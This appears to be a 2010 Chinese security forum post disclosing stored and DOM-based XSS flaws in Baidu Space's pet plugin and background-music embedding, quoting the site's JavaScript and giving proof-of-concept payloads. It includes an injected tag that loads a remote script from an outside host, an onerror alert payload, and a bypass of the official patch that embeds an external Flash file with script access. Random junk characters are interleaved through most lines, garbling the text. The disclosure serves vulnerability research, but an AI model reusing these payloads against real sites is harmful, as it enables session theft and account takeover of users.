百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
0 X+ U% I4 U G8 f
/ G& y& q3 l5 U1 g1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. ' S! y9 ~) g" v. E2 d$ t; A3 O. k
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
$ t. z5 P0 ]% D7 B/ n8 T2 u! i$ G
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
2 h( @- O5 n; B' V8 V! W1 s其中BdUtil.insertWBR为 - W* X; P* F% d# S% n Y! Z1 s& _5 g
function(text, step) {
$ M# P' t% ]2 @% j' T: p$ u$ a var textarea = textAreaCache || getContainer();
5 r* p" G1 F% e if (!textarea) { , v0 ]: M8 b6 E+ W' I. n8 m
return text; , P' _# _% \- V* c
}
5 b; R% Z: w: A! [3 m3 C textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); + e3 ]* f( n7 S% F! g
var string = textarea.value; . o( }7 Z5 B# v' l, d( s c0 n
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
, V# z8 P$ A# K; e& l4 W& S$ f var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); $ [& T; u# t$ E' q4 ?2 g- e* I. p
return result;
6 Z" [9 x7 J/ S} 5 E) C- _! A5 `3 }' [
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
2 [& S8 f& h# J- y/ i$ i测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
3 t# C, k" E( L& N. a# k% A
" F+ A$ ~5 O! i0 B- \二:creatbgmusic() Dom-Xss Bug 4 \0 O! r. X l/ x5 p
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
) `( ~; o" A( B( k8 Q8 E/ r! J7 @, n4 W
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: . y1 k- h8 e" a
0 Q2 `' L5 o9 e3 r3 ~ yfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { / m: g0 u/ q0 _1 z9 e7 ^3 Q
//传入的murl赋值到bgmusic1和bgmusic2中 , Z0 h# ~/ O% A- K
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
5 n/ P8 W% E6 l0 N B3 Z+ I var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; : ^/ }- s3 R3 X/ S( K
if (musicnum <= 1) { 0 u" P9 E% }$ w4 k* q, b0 @
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
2 e( N9 Z/ w; i& Y } , d# Q% i8 Y X7 ]/ P9 J7 L
bgmusic1 += "</OBJECT>";
" [1 {% `$ k7 r- E* t8 m3 N: E var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ) K( n+ `; N+ a. B) m
if (musicnum <= 1) {
+ C3 i' X& O$ N2 m! R0 t6 { bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; - _8 p3 F" Z. L$ b
}
" L l: P( }; B+ g* H0 ^# n bgmusic2 += "> </EMBED>"; $ f7 e& R' d# }( O: F C
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; & N3 I r. p9 ?. }# D+ [
var bgmus = detectWMP();
/ i4 t$ `4 s, J3 P& s$ G5 P if (functype == "FckMusicHelper") { D6 c" o( G: Y
if (bgmus.installed) { ! @" S1 ]! }# W' R4 |
if (bgmus.type == "IE") {
0 b7 D/ C5 s! R; C( ]" g return bgmusic1; 0 T2 g/ H* l* v' E2 l
} else if (bgmus.type == "NS") { 8 J, G& K( N/ t& D+ r/ Q
return bgmusic2;
% U) `4 Y% ^( O2 T! o/ V }
2 J7 E6 p& e! C! N4 G2 \- p } else {
$ f. Q, ?% }( y. h0 g" l& { return bgmusic3;
0 g- ?. O* {# `9 y0 N; N } 5 s# U7 B/ C- i/ `" S% k$ ?6 s
} else { $ j( o2 t# ^1 p' g8 N% I) ^2 a
if (bgmus.installed) { / E1 x6 z/ U# A% Y7 B4 r% Y# a
//document.write 直接输出bgmusic变量 导致xss
* V4 D4 j4 i" t+ C# F9 d if (bgmus.type == "IE") { 1 S; G' {, M8 O& K, k
document.write(bgmusic1); 9 l% d6 \+ M0 u: N9 |
} else if (bgmus.type == "NS") {
+ T: f, Z" N: J/ A) k1 Q0 s document.write(bgmusic2);
& I7 h8 Q4 i8 b3 V0 x9 M: M3 R6 q } 1 r9 [7 v6 y' N) u
} else {
) L o) i/ v% I7 \7 r3 _! u document.write(bgmusic3);
0 L( O- I5 j5 z/ U; n+ b; x3 M% v2 Z. E } , g; Z+ O! x& K- R3 f* }$ r+ w
return "";
3 I& J( N5 Y0 J& b' e; Y) `7 G }
T6 Q' i! x/ y} * ` V* J7 v9 H! K3 I% Y( g
; I; Z: ]/ u' k* x) N6 V1 N5 M7 L
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 9 G3 |$ h1 O* p
X: R. l) S8 L' ?" n
function initBlogTextForFCK(){
9 ?) G% r! n2 \//fck init music ( d4 y' d- @* d1 p
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
0 N6 s; S1 Y% K; Vvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 + p) `# N& u2 U S
var isAutoPlay=true;
* {! k6 F" }: n- \& N$ Yfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. % i. K2 X, K8 z* q* u/ K2 _
var img=imgBox;
7 Z o& d+ h- y if(img.getAttribute(’rel’)){ - J2 F6 ?) y4 a/ ?
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 3 |6 o, L6 p$ v7 z6 [
var musicDiv = document.createElement("SPAN"); ' z7 Z5 a& K0 I6 B5 M0 ~- a! p4 v0 h
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
: ^6 o, K& b& l) i1 g3 W% M" A9 k + i# H) A& e6 P$ k8 ]
..........................
8 ]$ U$ K, i6 d: n9 W 1 n/ @# _% T# c" }$ _
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. % @4 h/ t! Z4 t- C& T3 y
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 3 E' b0 }0 {/ h& `$ u) p2 ]
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); : L0 o! Z2 h7 Z. }* I; e& X* m: E
musicDiv.innerHTML=shtml;
) U2 h; n2 _0 c1 s. j: L( C i--;n--; 8 r0 W; G: d* B, Z9 y# ~& z. {
} - O, E" u) ]" |1 E% D
} 4 r5 _& l0 V' q. S& ]
3 f# K* ^5 Q+ _. O5 `. ]+ t9 v& c7 l从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. + S1 D- F' Q1 v; O7 C2 Q
1 W7 G* o! i" _6 M1 E! d
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> i& M) {3 d% U6 n" J3 m6 c- L
8 |2 S: k: M+ m( u& z% O6 @% S- U等待官方补丁 " k: z$ t* G/ @' X2 l% `* P" c
# ~ c+ s/ U8 `3 c) c" s
update 2010年5月13日 . e6 I9 ^8 J; g q' ]" K. ?
" x8 P$ }1 S5 v3 |; X
官方补丁: 2 ?" ?8 a ?; E j
' e7 o+ ?- F3 a+ t4 Avar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
, {/ O+ O( J4 X7 R" k4 d改为:
* g$ n6 H9 Y! ?' Y' Yvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); - B5 K4 Y, W2 u' T
4 Q7 D' E/ Z( r K2 U6 p( xupdate 2010年5月13日 21:50:37
- u* s7 |+ R1 k ?# X g8 O: M. E
3 i9 q" I3 p/ P8 n补丁存在漏洞 没有过滤" 可以继续跨:
4 H7 a) I: X; q) {, E+ Q7 U' @/ j7 I6 @! c) ?
NEW POC:
* z% j1 F- F, D( x
+ [ ?# c( g1 t0 I% l- A<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 d( _- _" ~0 b+ ?4 Y- N/ F$ Q, c- S- r
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
+ \. O) Y$ G0 d. Q- T - i$ C1 {2 W+ V% @6 Y
|